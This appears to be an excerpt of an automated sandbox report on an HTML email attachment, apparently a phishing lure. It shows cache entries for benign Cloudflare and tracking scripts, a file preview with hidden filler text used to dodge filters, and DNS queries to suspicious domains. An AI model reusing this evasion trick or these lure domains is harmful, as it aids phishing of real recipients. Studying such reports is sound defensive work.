Preview:	"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[712],{31199:function(e,t,a){a.d(t,{E:function(){return k}});var n=a(46942),r=a.n(n),o=a(96540),l=a(94646),i=a(24266),m=a(41693),c=a(9747),s=a(54232);var u=({data:e,formBusinessLine:t})=>{const a=(0,m.useLocation)();let n=!1;return r=>{if(!n){const r={form_name:null==e?void 0:e.marketoFormLeadSource,form_id:null==e?void 0:e.marketoFormId,form_business_line:t,form_sfdc_campaign:null==e?void 0:e.marketoFormLeadSourceDetail,page_path:`${a.pathname}${a.search}`,page_url:a.href,landing_page:(0,s.l1)(a.pathname).startsWith("/lp/")};(0,c.W)({eventName:"form_email_subscription",location:a,customEventParams:r}),n=!0}}},d=a(36754),g=a(9307),p=a(7401),f=a(37155),E=a(73158),b=a(81791);const k=({contentfulMarketoData:e,additionalSubmitFormData:t,InputElement:a,TextAreaElement:n,SelectElement:m,CheckboxElement:c,SuccessElement:s,LabelElement:k,labelTextColor:h,ErrorElement:v,isEnglishOnly

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2352
Entropy (8bit):	4.707371435826979
Encrypted:	false
SSDEEP:	48:H/iRWl58NPcQIVL1dP+iaavZ33SnbGmIHiB2:HaAl5GrCdlaax33UbIHiU
MD5:	6D28DB3EC2DDD52C893B4BD3B26D26BC
SHA1:	A9A81F1754B351127B534357FC06139D9720A470
SHA-256:	4F0D7CFB82915312A341D404DCEE20A550F5E53283D33581E80C2E1C2673E810
SHA-512:	716C2F3FDA3332DF637458965CF00C581B7DC93965779DADD15C64C6E0E32B03159CC5527CBCCA865C11E8E532156967DE6F4D595B1B5E1707454A2ABD669128
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/4xn47h0gWiUSwJ0PU3Ysvk/683779108bfd6eeb62fbac5135780fe6/logo_loreal_trusted-by_gray.svg
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M85.0005 22.4176H102.011V20.3077H87.9016V13.7143H98.5829V11.6044H87.9016V5.40664H102.011V3.29675H85.0005V22.4176Z" fill="#4E4E4E"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M93.7037 0.263794L91.4619 2.90116L98.7147 0.263794H93.7037Z" fill="#4E4E4E"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M130.758 20.3077V3.29675H128.121V22.4176H145.528V20.3077H130.758Z" fill="#4E4E4E"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M110.451 15.1649L115.066 6.06598L119.682 15.1649H110.451ZM113.22 3.29675L103.462 22.4176H106.759L109.264 17.5385H121L123.506 22.4176H126.803L117.044 3.29675H113.22Z" fill="#4E4E4E"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M73.2641 12.1319C64.2971 12.1319 64.2971 12.1319 64.2971 12.1319C64.2971 5.53851 64.2971 5.53851 64.2971 5.53851C73.5278 5.53851 73.5278 5.53851 73.5278 5.53851C75.7696 5.53851 76.

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21229)
Category:	dropped
Size (bytes):	21230
Entropy (8bit):	5.307634512229094
Encrypted:	false
SSDEEP:	384:TRFZ2wWtdbD5ABwXwLrekrff8eTr+x5RxMc1n9LuJ4vV/:T8wAD5ABwXw+krfflyxzx9n9D/
MD5:	CB08DE8CD375C576ED0391912EFFD122
SHA1:	921977C317F1A06373F63A26A35DDA99F1AF9838
SHA-256:	1505AA0792421F831935F4761A95F31462A3DD097C8BD00AD8E9C765C8065517
SHA-512:	63191331A5C4F5A6C9BC13EE9B9EB4B50DFDAE38235974EE2183903C8167A8303088B3631708F09F7C5AEA15BD202254FD799BBDC0965CE5AD3F088915C66B54
Malicious:	false
Preview:	var OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal",this.isStubReady=!0,this.geolocationCookiesParam="geolocation",this.EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:""}};(m=g=g\|\|{})[m.Days=1]="Days",m[m.Weeks=7]="Weeks",m[m.Months=30]="Months",m[m.Years=365]="Years",(m=i=i\|\|{}).Name="OTGPPConsent",m[m.ChunkSize=4e3]="ChunkSize

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	152
Entropy (8bit):	4.678679113999018
Encrypted:	false
SSDEEP:	3:YBE5WV/eHLmIykgR+C0gPEMS3XjHHVluLEL669YpIw3pftRzcSL6u1n:Yga/eHLmigR+NgPEMMbMi3SpNBjLj
MD5:	0B28155066DBDA9D62801C94803E95F9
SHA1:	E5A7AD3A2599A7AEEE54A1441CE020D881705135
SHA-256:	116AE6675B0E7096A8A606464F41864E8F57F7A154CF62E050CC863FED371D10
SHA-512:	2A70E98945A2FCAC91C7E419F7D0B6DCEE62EB6F0120BA738B336792399977279EAB6266D00D287D2F8F74CA4CC0809BF4CE7CC167AC9FECA5A7912D6D3C4BAF
Malicious:	false
Preview:	{"data":{"site":{"siteMetadata":{"targetEnv":"production","coreApiV1":"https://api.www.cloudflare.com/api/v1","baseURL":"https://www.cloudflare.com"}}}}

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2989
Entropy (8bit):	4.017973601520959
Encrypted:	false
SSDEEP:	48:JhMFafat4yWJviI9ZvmNdFGJD2wnZO2tVdBcHVObn17W1d4crw/aV/Bn4yilDKxT:UFab5Q4AdggwnZBtVdyHVOrw12qw/6h/
MD5:	B605ECA229BBF7BC64DAAAE689DA14AD
SHA1:	2BAA1F59B2C22BAA02A0997A48FFA7A2DD7BC47F
SHA-256:	68968C3AD4210B765B6C39B3E2A49255794A57409280EF0FB00650133C9F5073
SHA-512:	687742ED7915EB0DF028619DA79C92CA84660E896DCC30279FFD017373C5454E37D4C4D3651D95A94E97891F302D3EA877EF549CA1DCBAC93DBB09DE6B10AA5E
Malicious:	false
Preview:	<svg width="100" height="32" viewBox="0 0 100 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M45.0628 13.7063C43.8469 14.9602 43.1914 16.6535 43.246 18.3992C43.1917 20.1543 43.8442 21.8578 45.0571 23.1275C46.27 24.3973 47.9418 25.127 49.6976 25.1532C51.3667 25.1427 52.9488 24.4068 54.0323 23.1371V24.8508H56.8548V6H54.0323V13.6613C52.9557 12.3944 51.3591 11.689 49.6976 11.746C47.951 11.7451 46.2787 12.4524 45.0628 13.7063ZM70.0605 21.121C69.14 22.0738 67.8559 22.5874 66.5323 22.5323C64.5746 22.7163 62.8102 21.349 62.5 19.4073H72.6814C72.8831 14.9718 70.4637 11.6452 66.129 11.6452C64.3469 11.645 62.6391 12.3597 61.3885 13.6293C60.1378 14.899 59.4488 16.6172 59.4758 18.3992C59.4758 22.3306 62.1976 25.1532 66.5323 25.1532C68.5329 25.2376 70.4751 24.468 71.875 23.0363L70.0605 21.121ZM68.4708 15.0664C69.114 15.6339 69.5046 16.4342 69.5564 17.2903H62.5C62.7568 15.5017 64.3234 14.1962 66.129 14.2661C66.985 14.211 67.8277 14.4989 68.4708 15.

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	5546
Entropy (8bit):	3.9160585515306847
Encrypted:	false
SSDEEP:	96:HMRsPdd7b1tPzBkL1OP2VrjCFeEPoAQ6NWS81Ihu5Wm8BNWgSdxH:HSy3ryROP+jTEPoGWN1I5PIPH
MD5:	FF006509BB342C576C2F15BD7BEE9704
SHA1:	A4A5862B2B265866D9DB2278E466D6BB188796B3
SHA-256:	F473DC6022A78A4FEB4870F7D77A3E4AF611F53578FCAC781C444F8B04510805
SHA-512:	FBFC43E829A05DFAC0453F07C49064546B95ED331C339733F6B493C8457E08997496C959C9615FF348D1A9F9C1369808560B2062ADEBAE2602779C76496303F3
Malicious:	false
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M55.0998 4.51526C55.086 4.39062 54.9752 4.33523 54.8921 4.32138C54.809 4.30753 53.1472 4.29368 53.1472 4.29368C53.1472 4.29368 51.7485 2.93655 51.61 2.79806C51.4715 2.65958 51.2084 2.70112 51.0976 2.72882C51.0976 2.72882 50.8345 2.81191 50.3914 2.95039C50.3221 2.71497 50.2113 2.42416 50.059 2.13334C49.5605 1.1778 48.8404 0.679262 47.9541 0.679262C47.8987 0.679262 47.8294 0.679262 47.774 0.69311C47.7463 0.665413 47.7186 0.637717 47.6909 0.596172C47.3032 0.180721 46.8185 -0.0131565 46.2369 0.000691906C45.1013 0.0283886 43.9796 0.845442 43.0517 2.31337C42.4009 3.33815 41.9162 4.62605 41.7777 5.62313C40.4759 6.02473 39.5619 6.3017 39.5481 6.31555C38.8972 6.52327 38.8695 6.53712 38.7864 7.1603C38.7172 7.61729 37 20.9256 37 20.9256L51.4161 23.4183L57.6618 21.8673C57.6618 21.8673 55.1137 4.62605 55.0998 4.51526ZM49.6713 3.17197C49.3389 3.26891 48.965 3.39354 48.5495 3.51818C48.5357 2.950

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (36066)
Category:	downloaded
Size (bytes):	64734
Entropy (8bit):	5.399895192880103
Encrypted:	false
SSDEEP:	768:tmuMyCg6kBKVBeMLh9jDp3MnMY29T46T4EXKTF2KqgHk2ZNzW6zfdaXT4vBpZi10:ZCVkBKVth9jdf4g4hqoNjzd0A
MD5:	47951EA2A5280279F832B39C9899512A
SHA1:	FA41E220F040981D6DC83FEFBF2EB5C61E23DAA1
SHA-256:	DEEBAA136A21C85E0838993917C63BCD4E9AA167AFCF56C5F23F05C00AF6EC91
SHA-512:	E9AB1A01B0D1CF7C445173C482479BD311DB35228E523C805ACAB121FD95694480A175E29716E729CB649650075E8C0D098E35A492949671F16F975DD1C965E0
Malicious:	false
URL:	https://tag.demandbase.com/1be41a80498a5b73.min.js
Preview:	(()=>{let e=window.console\|\|{log(){},debug(){}},i=window.JSON\|\|{stringify(){},parse(){}},l=new class{constructor(){this.console=e,this.JSON=i}indexOf(e,i,t){if(null==e)throw TypeError("Array.indexOf called on null or undefined");return e.indexOf?e.indexOf(i,t):this._indexOfPolyfill(e,i,t)}assign(...e){if(Object.assign&&"function"==typeof Object.assign)return Object.assign.apply(null,e);if(null===e[0]\|\|void 0===e[0])throw TypeError("Cannot convert undefined or null to object");return this._assignPolyfill(e)}startsWith(e,i,t){var t=0<t?0\|t:0;return e.substring(t,t+i.length)===i}includes(e,i){if(e instanceof RegExp)throw TypeError("First argument must not be a RegExp");return-1!==this.indexOf(e,i=void 0===i?0:i)}keys(e){if(Object.keys)return Object.keys(e);if("function"==typeof e\|\|"object"==typeof e&&null!==e)return this._keysPolyfill(e);throw TypeError("Object.keys called on non-object")}_indexOfPolyfill(e,i,t){let n=e.length>>>0,a=Math.min(0\|t,n);if(a<0)a=Math.max(0,n+a);else if(a>=n)re

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1518
Entropy (8bit):	4.499447241545064
Encrypted:	false
SSDEEP:	24:tCb8EAut+WPuqpMAH/AVAm5cK28URV7R9sxvMFQPFLq+6WnnmKSmQTXgNJ9GYXYd:/5CdHoamed8UP70lMFSFLq9WnnGmQTX5
MD5:	6A7333B07A67EE97E9F1B628A90577A4
SHA1:	65C591E2DDA130077CCF5BD3804F54C271ECA180
SHA-256:	5A138B132818356778F0786686EFB1F5E61CA5E246FC341020AFBC5705656799
SHA-512:	5D3B94F3EDC0C34702776D996429532B5D022112B44529B320A67E6E11542FBB9CB24212529D4C82AE7E6C3F8C801BF726C45DBEC6D1A299199666374D2D96CC
Malicious:	false
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<g clip-path="url(#clip0_2573_10855)">.<path d="M46.5001 14.2499H22.9426C21.0322 12.401 18.6197 11.1554 16.006 10.6687C13.3922 10.182 10.6931 10.4757 8.24521 11.5131C5.79733 12.5506 3.70913 14.2858 2.2411 16.5024C0.773079 18.719 -0.00976562 21.3188 -0.00976562 23.9774C-0.00976562 26.6361 0.773079 29.2359 2.2411 31.4525C3.70913 33.6691 5.79733 35.4043 8.24521 36.4417C10.6931 37.4792 13.3922 37.7729 16.006 37.2862C18.6197 36.7995 21.0322 35.5539 22.9426 33.7049H46.5001L48.0001 32.2049V15.7499L46.5001 14.2499ZM13.5376 34.4999C11.4522 34.4984 9.41414 33.8782 7.68144 32.7178C5.94875 31.5573 4.59933 29.9089 3.80403 27.9811C3.00874 26.0533 2.80333 23.9329 3.21382 21.8883C3.62431 19.8437 4.63223 17.9668 6.10998 16.4954C7.58772 15.024 9.46884 14.0241 11.5152 13.6223C13.5615 13.2206 15.681 13.4351 17.6054 14.2386C19.5298 15.0421 21.1725 16.3986 22.3255 18.1362C23.4785 19.8739 24.09 21.9146 24.0826 23.

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7995
Entropy (8bit):	4.018970224351403
Encrypted:	false
SSDEEP:	192:oZu2dFH6PsR1VLGwjOS/Gu8z58THvmJ/9Q3hd71:oZu2z6Py+PS/L8wuJlQ3hdx
MD5:	8B8EAE76A69598E60A2A4EF9535D07FB
SHA1:	F602E96B83D20EEBEA4DB53F27C6938C70F2E6A9
SHA-256:	6D37171EA242C29EE028F2B735EE92C11241B60C14230CC49E03553C7553898B
SHA-512:	0F1D608C0AB9E26517121713679AB458A233DB162E746BA2A7E2BFB1181DCDCA9C16EE92CC7FD6E1D34C3FEC7FE132D73BF6F9CC292C7266228743DFAF00A7A0
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/2TfcZ86qvZor2xtI2z4Vvr/ef54112582296119f4296869c34ba025/logo_23andme_color_32px-wrapper.svg
Preview:	<svg width="93" height="60" viewBox="0 0 93 60" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M0.518281 44.1853C0.230874 44.7531 0.0590396 45.3723 0.0127415 46.007C-0.0335566 46.6416 0.0466027 47.2792 0.248571 47.8827C0.45054 48.4861 0.770299 49.0435 1.18931 49.5225C1.60832 50.0014 2.11824 50.3924 2.68951 50.6728C3.26077 50.9532 3.88202 51.1174 4.51722 51.1558C5.15243 51.1943 5.78895 51.1063 6.38988 50.8969C6.99081 50.6875 7.54419 50.3609 8.01794 49.936C8.49169 49.5111 8.87638 48.9964 9.1497 48.4218L11.0649 44.5198L6.96038 31.0615L0.518281 44.1853Z" fill="#62676A"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M27.3252 0.493023C26.7585 0.214427 26.1424 0.0502399 25.5123 0.00984419C24.8821 -0.0305515 24.2501 0.0536365 23.6525 0.257596C23.0548 0.461556 22.5033 0.78129 22.0293 1.19852C21.5552 1.61576 21.1681 2.12231 20.89 2.68923L13.1619 18.4316L17.2664 31.889L29.5205 6.92564C29.7988 6.35912 29.9627 5.74335 30.0029 5.11348C30.0432 4.4

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12331)
Category:	downloaded
Size (bytes):	12332
Entropy (8bit):	5.0916439525688215
Encrypted:	false
SSDEEP:	192:3dArCS2Z+j/yQ9TCQxUhW2DPY808LE676SbHDc/7uN0VZG05w:NHSG+j/y2xa3bn7Q+0a0O
MD5:	88A769D2FE35899FD45A332A0A032CC0
SHA1:	514C6C1D8475D17E412849A4C90159517D0FA10A
SHA-256:	CCF00D1923B0131A10E0C6D26F95E5DEE6EBF8621A27E83C5A2F68A2E0093142
SHA-512:	756CC5CD029FC4ADC9100D0DA2F2B0EFB3DF0F2BF894FBA2824019832FEA594EDD40A238A5FFACC205572CC0155F5632D70F54E37EDC0772460F44C69CB76AB8
Malicious:	false
URL:	https://www.cloudflare.com/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js
Preview:	!function(){"use strict";function t(){return"cf-marker-"+Math.random().toString().slice(2)}function e(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];(n=console.warn\|\|console.log).call.apply(n,[console,"[ROCKET LOADER] "].concat(t));var n}function n(t,e){var n=e.parentNode;n&&h(t,n,e)}function r(t,e){h(t,e,e.childNodes[0])}function o(t){var e=t.parentNode;e&&e.removeChild(t)}function i(t){var e=t.namespaceURI===A?"xlink:href":"src";return t.getAttribute(e)}function a(t,e){var n=t.type.substr(e.length);return!(n&&!E[n.trim()])&&((!k\|\|!t.hasAttribute("nomodule"))&&!(!k&&"module"===n))}function c(t){return a(t,"")}function s(t,e){return function(n){if(e(),t)return t.call(this,n)}}function u(t,e){t.onload=s(t.onload,e),t.onerror=s(t.onerror,e)}function p(t){var e=document.createElementNS(t.namespaceURI,"script");e.async=t.hasAttribute("async"),e.textContent=t.textContent;for(var n=0;n<t.attributes.length;n++){var r=t.attributes[n];try{r.namespaceURI?e.setAttributeNS(r.namespace

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	5546
Entropy (8bit):	3.9160585515306847
Encrypted:	false
SSDEEP:	96:HMRsPdd7b1tPzBkL1OP2VrjCFeEPoAQ6NWS81Ihu5Wm8BNWgSdxH:HSy3ryROP+jTEPoGWN1I5PIPH
MD5:	FF006509BB342C576C2F15BD7BEE9704
SHA1:	A4A5862B2B265866D9DB2278E466D6BB188796B3
SHA-256:	F473DC6022A78A4FEB4870F7D77A3E4AF611F53578FCAC781C444F8B04510805
SHA-512:	FBFC43E829A05DFAC0453F07C49064546B95ED331C339733F6B493C8457E08997496C959C9615FF348D1A9F9C1369808560B2062ADEBAE2602779C76496303F3
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/6XVeELky7fceWRpfBvN8qr/4e13aa3d8dd73e1f091f3de966fdc9cb/logo_shopify_trusted-by_gray.svg
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M55.0998 4.51526C55.086 4.39062 54.9752 4.33523 54.8921 4.32138C54.809 4.30753 53.1472 4.29368 53.1472 4.29368C53.1472 4.29368 51.7485 2.93655 51.61 2.79806C51.4715 2.65958 51.2084 2.70112 51.0976 2.72882C51.0976 2.72882 50.8345 2.81191 50.3914 2.95039C50.3221 2.71497 50.2113 2.42416 50.059 2.13334C49.5605 1.1778 48.8404 0.679262 47.9541 0.679262C47.8987 0.679262 47.8294 0.679262 47.774 0.69311C47.7463 0.665413 47.7186 0.637717 47.6909 0.596172C47.3032 0.180721 46.8185 -0.0131565 46.2369 0.000691906C45.1013 0.0283886 43.9796 0.845442 43.0517 2.31337C42.4009 3.33815 41.9162 4.62605 41.7777 5.62313C40.4759 6.02473 39.5619 6.3017 39.5481 6.31555C38.8972 6.52327 38.8695 6.53712 38.7864 7.1603C38.7172 7.61729 37 20.9256 37 20.9256L51.4161 23.4183L57.6618 21.8673C57.6618 21.8673 55.1137 4.62605 55.0998 4.51526ZM49.6713 3.17197C49.3389 3.26891 48.965 3.39354 48.5495 3.51818C48.5357 2.950

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2352
Entropy (8bit):	4.707371435826979
Encrypted:	false
SSDEEP:	48:H/iRWl58NPcQIVL1dP+iaavZ33SnbGmIHiB2:HaAl5GrCdlaax33UbIHiU
MD5:	6D28DB3EC2DDD52C893B4BD3B26D26BC
SHA1:	A9A81F1754B351127B534357FC06139D9720A470
SHA-256:	4F0D7CFB82915312A341D404DCEE20A550F5E53283D33581E80C2E1C2673E810
SHA-512:	716C2F3FDA3332DF637458965CF00C581B7DC93965779DADD15C64C6E0E32B03159CC5527CBCCA865C11E8E532156967DE6F4D595B1B5E1707454A2ABD669128
Malicious:	false
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M85.0005 22.4176H102.011V20.3077H87.9016V13.7143H98.5829V11.6044H87.9016V5.40664H102.011V3.29675H85.0005V22.4176Z" fill="#4E4E4E"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M93.7037 0.263794L91.4619 2.90116L98.7147 0.263794H93.7037Z" fill="#4E4E4E"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M130.758 20.3077V3.29675H128.121V22.4176H145.528V20.3077H130.758Z" fill="#4E4E4E"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M110.451 15.1649L115.066 6.06598L119.682 15.1649H110.451ZM113.22 3.29675L103.462 22.4176H106.759L109.264 17.5385H121L123.506 22.4176H126.803L117.044 3.29675H113.22Z" fill="#4E4E4E"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M73.2641 12.1319C64.2971 12.1319 64.2971 12.1319 64.2971 12.1319C64.2971 5.53851 64.2971 5.53851 64.2971 5.53851C73.5278 5.53851 73.5278 5.53851 73.5278 5.53851C75.7696 5.53851 76.

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	4.995781899318458
Encrypted:	false
SSDEEP:	3:1umHNIJhyCnaz/p9AnkCD0CV16C0G2Cg1v0SzRqioXCUR3vC53TJn:1ucUyCnaz/onLD0Wg5F1vDzR2RqpTJn
MD5:	25C5A929E7B6211B5CD170B7FDE715FF
SHA1:	0F1880DC50E3BB2DA3BE59D75BD6BBC72208EFEF
SHA-256:	709BD187D82B1658AD29BE1E32438272C7968DB8313F6535F983A08F9ED2A503
SHA-512:	999EB8EACA2A1383C311BC4B6D63D24C6187A3E8E9ECC45DCB5A7D8BBCC697515077359802F38AD49A1D62C2DEB48F448BF58B598860A9444397295799861993
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISSAmh2-SuxqsscxIFDfyM-aUSBQ02_qTlEgUN4YU_hxIFDQ-obAwSBQ3QsCUCEgUN_fODERIFDfyNxvwSBQ0IL9uhEgUNMR13Ng==?alt=proto
Preview:	CnAKCw38jPmlGgQIAxgBCgsNNv6k5RoECAUYAQoLDeGFP4caBAgNGAEKEg0PqGwMGgQICRgBGgUImgEYAgoLDdCwJQIaBAg8GAEKBw3984MRGgAKBw38jcb8GgAKCw0IL9uhGgQIJBgBCgcNMR13NhoA

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 text, with very long lines (672), with CRLF line terminators
Entropy (8bit):	5.5747368876663455
TrID:	HyperText Markup Language (6006/1) 100.00%
File name:	carly.joseph@everbridge.com.html
File size:	1'810 bytes
MD5:	fb40801265a5ff3872c2e87d85edbf8a
SHA1:	358ad0fd6d5a8c1a88b97a0a4d681caca81d26b6
SHA256:	e6468d7280e94b6c4a5029fa70f8b79b36a53d39516f783b0805b7e28df11b50
SHA512:	957b0aefd3f521b9eaff3185c8680f8be0957ad36dd121a96b77c7d675ab8ba86086d6011dd4c370860cae5e0a7dd05cd3f07c6d8e47b67f6db0a8b37ccb0aeb
SSDEEP:	48:L3OXuHD6t9kqePk+Xu1DtW6DFRr4bW0+EJJCA:yTcC1gGA
TLSH:	453175607F65C926058191FF6A3EE36E9722C28C1781A1C52D95AA77F446BE80D708C8
File Content Preview:	<html>.....<aside .style="display:none;">..The.secret to advancement. is taking.the .first. step. </aside>.... <script>.... ..</script>..<b style="display:none;"> An optimist finds opportunities in challenges; a pessimist finds challenges in opportuniti

Network Behavior

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 18, 2024 15:47:40.034061909 CEST	192.168.2.8	1.1.1.1	0xe37d	Standard query (0)	www.linksideas.poc-asia.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:40.034107924 CEST	192.168.2.8	1.1.1.1	0x2ed6	Standard query (0)	www.linksideas.poc-asia.com	65	IN (0x0001)	false
Oct 18, 2024 15:47:42.890116930 CEST	192.168.2.8	1.1.1.1	0xb84c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:42.890366077 CEST	192.168.2.8	1.1.1.1	0x1ab	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:47:42.910087109 CEST	192.168.2.8	1.1.1.1	0x9ee2	Standard query (0)	www.linksideas.poc-asia.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:42.910286903 CEST	192.168.2.8	1.1.1.1	0x1bbf	Standard query (0)	www.linksideas.poc-asia.com	65	IN (0x0001)	false
Oct 18, 2024 15:47:43.733114958 CEST	192.168.2.8	1.1.1.1	0xd165	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:43.733258963 CEST	192.168.2.8	1.1.1.1	0xcbbf	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 18, 2024 15:47:44.177303076 CEST	192.168.2.8	1.1.1.1	0x7a56	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:44.177459955 CEST	192.168.2.8	1.1.1.1	0x41a0	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:47:44.207366943 CEST	192.168.2.8	1.1.1.1	0xc4ab	Standard query (0)	www.linksideas.poc-asia.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:44.207937002 CEST	192.168.2.8	1.1.1.1	0xff2d	Standard query (0)	www.linksideas.poc-asia.com	65	IN (0x0001)	false
Oct 18, 2024 15:47:49.612009048 CEST	192.168.2.8	1.1.1.1	0x834	Standard query (0)	bookingadocel.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:49.612294912 CEST	192.168.2.8	1.1.1.1	0xf22d	Standard query (0)	bookingadocel.com	65	IN (0x0001)	false
Oct 18, 2024 15:47:52.369410992 CEST	192.168.2.8	1.1.1.1	0x8f67	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:52.370012999 CEST	192.168.2.8	1.1.1.1	0x6dc3	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:47:54.650326014 CEST	192.168.2.8	1.1.1.1	0xcdd9	Standard query (0)	bookingadocel.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:54.650369883 CEST	192.168.2.8	1.1.1.1	0xc71d	Standard query (0)	bookingadocel.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:00.168314934 CEST	192.168.2.8	1.1.1.1	0xe8b9	Standard query (0)	www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:00.169050932 CEST	192.168.2.8	1.1.1.1	0xb82b	Standard query (0)	www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:01.870204926 CEST	192.168.2.8	1.1.1.1	0x67e5	Standard query (0)	cf-assets.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:01.870435953 CEST	192.168.2.8	1.1.1.1	0x5a8	Standard query (0)	cf-assets.www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:01.903702021 CEST	192.168.2.8	1.1.1.1	0x52b3	Standard query (0)	static.cloudflareinsights.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:01.904306889 CEST	192.168.2.8	1.1.1.1	0x4a00	Standard query (0)	static.cloudflareinsights.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:02.260826111 CEST	192.168.2.8	1.1.1.1	0xea22	Standard query (0)	www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.261148930 CEST	192.168.2.8	1.1.1.1	0xc713	Standard query (0)	www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:02.744616032 CEST	192.168.2.8	1.1.1.1	0x2823	Standard query (0)	performance.radar.cloudflare.com	A (IP address)	IN (0x0001)	false
